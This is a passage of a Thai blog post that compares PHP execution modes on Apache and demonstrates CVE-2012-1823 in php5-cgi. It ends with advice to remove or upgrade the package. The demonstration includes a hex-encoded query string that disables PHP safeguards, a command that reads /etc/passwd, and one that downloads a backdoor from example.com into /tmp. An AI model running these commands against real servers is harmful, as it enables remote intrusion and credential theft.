    – Apache Process จะทำหน้าที่เฉพาะให้บริการ HTTP แต่เมื่อต้องการใช้ PHP จึงจะไปเรียกใช้
    ข้อเสีย
    – เป็นวิธีดั้งเดิม ไม่มีประสิทธิภาพนัก, การตอบสนองช้า

    3. FastCGI เป็นการแยก Web Server กับ PHP ออกจากกัน ทำให้ การใช้งาน HTTP ที่มีต้องใช้ PHP ก็จะใช้งาน Memory น้อย แต่เมื่อต้องการใช้ PHP ก็จะส่งไปทาง Socket ทำให้สามารถกระจาย Load ไปยังเครื่องต่างๆได้
    ข้อดี
    – ให้ความปลอดภัยในการใช้พื้นี่ร่วมกัน แบบ CGI แต่ทำงานเร็วขึ้น
    – สามารถ Scalability ได้ดี
    – Apache Process ที่ไม่ใช้ PHP ก็จะใช้ Memory น้อย
    ข้อเสีย
    – การตั้งค่าค่อนข้างยุ่งยาก จะใช้ .htaccess แบบเดิมไม่ได้ แต่ต้องใช้ php.ini แยกแต่ละผู้ใช้ ทำให้ดูแลยากขึ้น

    ปัญหาอยู่ที่ว่า บาง Web Server ที่ใช้งานกันอยู่ ใช้งาน PHP แบบ Apache Module อย่างเดียว แต่ ไปติดตั้ง PHP แบบ CGI ด้วย (php5-cgi package) แล้ว อาจจะไม่ได้ตรวจสอบให้ดี จึงทำให้มีช่องโหว่ได้

    ตัวอย่างนี้ เป็น Web Server ที่ทำงานบน Ubuntu 10.04 Server + Apache 2.2.4 + PHP 5.2.17 โดย PHP Package ที่ติดตั้งไว้ สามารถดูด้วยคำสั่ง

    sudo dpkg-query -l | grep php

    ผลที่ได้คือ

    ซึ่งจะเห็นว่า มี php5-cgi รุ่น 5..2.17 ซึ่ง มีช่องโหว่ ตาม CVE-2012-1823 ซึ่งทำให้ Hacker สามารถแทรกโค๊ดเข้ามาได้

    สมมุติ Web Server เครื่องนี้ มี IP Address : 192.168.1.20

    Hacker สามารถใช้คำสั่งต่อไปนี้ ( ดัดแปลงจากตัวอย่างของ Exploit Development: PHP-CGI Remote Code Execution – CVE-2012-1823 [2] และ รายละเอียดของ Query String ดูจากบทความ วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6)

    qstring="%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E"

    ซึ่ง qstring นี้ เมื่อถอดรหัสจากเลขฐาน 16 เป็นข้อความจะได้ว่า

     -d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n

    จากนั้น Hacker ก็ใช้คำสั่งต่อไปนี้

    echo "<?php system('cat /etc/passwd');die(); ?>" | POST "http://192.168.1.20/cgi-bin/php?$qstring"

    ผลที่ได้คือ

    และ Hacker สามารถทำอะไรก็ได้ เช่นไปเอา Backdoor จากที่อื่นมาใส่ได้ ตัวอย่างเช่น เอามาจาก http://example.com/backdoor ไปเก็บไว้ที่ /tmp/.aaa ด้วยคำสั่งนี้

    echo "<?php system(' wget -q http://example.com/backdoor -O /tmp/.aaa');die(); ?>" | POST "http://192.168.1.20/cgi-bin/php?$qstring"

    หากใช้คำสั่งต่อไปนี้ที่เครื่องเป้าหมาย 192.168.1.20

     ls -la /tmp

    ก็พบว่า มี Backdoor ฝังอยู่แล้ว

    ซึ่ง Hacker ก็สามารถใช้ขั้นตอนคล้ายๆกันนี้ ออกคำสั่งต่างๆได้

    ดังนั้น หากท่านไม่ได้ตั้งใจจะใช้ php5-cgi ก็แนะนำให้เอาออกไป หรือ ทำการ Upgrade ให้เป็นรุ่น 5.3.12 ก็จะปลอดภัยจากช่องโหว่นี้ครับ

    ขอให้โชคดี

    Reference

    [1] http://blog.layershift.com/which-php-mode-apache-vs-cgi-vs-fastcgi/

    [2] http://insecurety.net/?p=705